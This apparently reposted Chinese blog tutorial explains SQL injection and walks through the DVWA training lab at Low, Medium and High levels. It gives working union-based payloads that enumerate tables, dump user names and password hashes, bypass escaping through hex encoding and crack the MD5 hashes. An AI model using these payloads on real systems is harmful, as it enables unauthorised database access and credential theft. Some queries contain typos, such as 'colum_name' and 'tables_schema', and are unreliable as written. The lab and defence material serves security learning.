原理
SQL注入通過將惡意的SQL代碼插入到應用程式后臺的SQL陳述句中,以獲取未授權的訪問權限或者竊取應用程式中的敏感資訊,通常,SQL注入攻擊的目標是Web應用程式,因為Web應用程式通常需要與資料庫進行互動,并且大多數Web應用程式使用的是SQL語言,
存在原因
Web應用程式沒有對用戶輸入的資料進行充分驗證和過濾,黑客可以利用這個漏洞來欺騙Web應用程式,通過輸入惡意的SQL陳述句來獲取或篡改資料庫中的敏感資料,
防御措施
- 使用引數化查詢:使用引數化查詢的方式執行SQL陳述句,這種方式能夠有效地防止SQL注入攻擊,具體來說,引數化查詢是指把SQL命令和資料分離開來,在執行SQL陳述句之前對資料進行預處理,以保證輸入的資料不會被當作代碼執行,
- 對用戶輸入資料進行過濾:對于用戶輸入的資料,需要檢查是否存在SQL特殊字符,例如單引號、尖括號等,如果存在特殊字符,則需要對其進行過濾或者替換,
- 在應用層加密請求資料:在應用層對請求的資料進行加密或編碼,可以有效地降低攻擊成功的概率,這種方式的弊端是會增加服務器的負擔和回應時間,
- 限制權限:確保Web應用程式連接到資料庫時使用的賬戶只有必要的最低權限,并且避免使用管理員賬戶來連接資料庫,
突破方式
- 監聽資料庫的網路流量:黑客可以通過監聽資料庫的網路流量來捕獲和決議SQL陳述句,他們可以利用這些資訊來發現SQL注入漏洞并執行惡意操作,
- 利用錯誤訊息:在Web應用程式發生錯誤時,如果錯誤訊息顯示了有關資料庫的詳細資訊,如表名、列名等敏感資料,那么黑客可以利用此資訊來發現注入點并進一步攻擊,
- 使用自動化工具:黑客可以使用各種自動化工具,例如SQL注入工具、掃描器等,來檢測應用程式中所有的SQL注入漏洞并自動執行攻擊,
【Low】級別
首先判斷是否存在SQL注入,當輸入1時,回顯正常,可以判斷存在sql注入,

然后再輸入1’頁面錯誤,說明頁面沒有對1’進行過濾,也就是說攻擊者可以對資料庫進行操作,
![]()
判斷存在SQL注入后,接下來通過order by陳述句來猜解欄位數,當在輸入框中輸入1’order by 3#時,頁面出現不一樣的界面,因此這里的欄位數有兩個,

接下來,再通過union select來確定回顯位置,如下圖所示,回顯位置為第二個,

獲取當前資料庫(union select 1,database()),可以得到資料庫為dvwa,

獲取資料庫中的表(union select 1,group_concat(table_name) from information_schema.tables where tables_schema=database())

獲取表中的欄位名(union select 1,group_concat(colum_name) from information_schema.colums where table_name=’users’)

獲得欄位中的資料(union select user,password from users),得到該資料庫有五個用戶,

仔細觀察Surname可以發現,后面五個均為md5加密,通過在線的解密網站,解密后得到明文依次為123456、abc123、charley、letmein、password,

漏洞原因:沒有進行預編譯;用戶資料拼接了代碼,沒有實作代碼、資料分離;沒有進行敏感字符過濾,
【Medium】級別
這里由于url欄沒有引數,所以注入點只能是下拉框,但是下拉框沒辦法直接更改,所以這里需要抓包解決,抓包后發現結尾有引數可以更改,于是先判斷注入點型別,首先嘗試陳述句1 or 1=1#,在點擊forward,

然后回到dvwa界面,發現頁面中把所有的name和Surname都列出來了,因此這里可以判斷注入點的型別為數字型且不需要閉合,

接下來判斷欄位數,當查詢陳述句為1 or 1=1 order by 2時,頁面能正常顯示,但是當把2換成3時,頁面就會報錯,因此這里的欄位數為2,

接下來,再通過union select來確定回顯位置,

然后使用1 union select 1,database()#陳述句來查詢資料庫,

接下來查詢表名,查詢陳述句為:1 union select 1,table_name from information_schema.tables where table_schema=database()#,如下圖所示,說明資料庫中有兩個表guestbook和users,

獲取表中的欄位名,當輸入查詢陳述句(1 union select 1,column_name from information_schema.columns where table_name='users')后,會發現報錯了,原因是陳述句中含有單引號,

該等級的原始碼和低級的原始碼比較,在用戶輸入id這里可以看到多了一個mysqli_real_escape_string函式,該函式主要功能是:轉義在SQL陳述句中使用的字串中的特殊字符,

所以這里在輸入查詢陳述句時不能含有特殊的字符,那么就可以把單引號里面的內容轉換成十六進制,直接以十六進制的形式寫上去,如下圖所示,說明表中有八個欄位,即Surname所列出來的八個,

獲得欄位中的資料,使用查詢陳述句:1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,結果如下圖所示可以看到所有的user和對應的password,

漏洞原因:沒有很好的對敏感關鍵字進行過濾,想要利用mysqli_real_escape_string函式進行敏感字符過濾,但是該函式并不能過濾一些敏感
的關鍵字,比如說:and,or這些,它只能轉義一部分特殊的字符,
【High】級別
首先找頁面中的注入點,這里很明顯就是輸入框,然后判斷注入點的型別,通過輸入判斷陳述句后,可以得到這里的注入點型別是字符型,

然后接下來判斷欄位數,當在輸入order by 3#的時候頁面報錯,因此這里的欄位數為2,

接下來,再通過union select來確定回顯位置,

下面查詢資料庫名稱,

接下來查詢表名,查詢陳述句為:1’ union select 1,table_name from information_schema.tables where table_schema=database()#,如下圖所示,說明資料庫中有兩個表guestbook和users,

獲取表中的欄位名:1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#,

獲得欄位中的資料(union select user,password from users),得到該資料庫有五個用戶,

到這里SQL注入高級就完成了,總的來說跟前面兩個操作流程差不多,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/555829.html
標籤:其他
上一篇:DVWA靶場之檔案上傳通關詳解
下一篇:返回列表
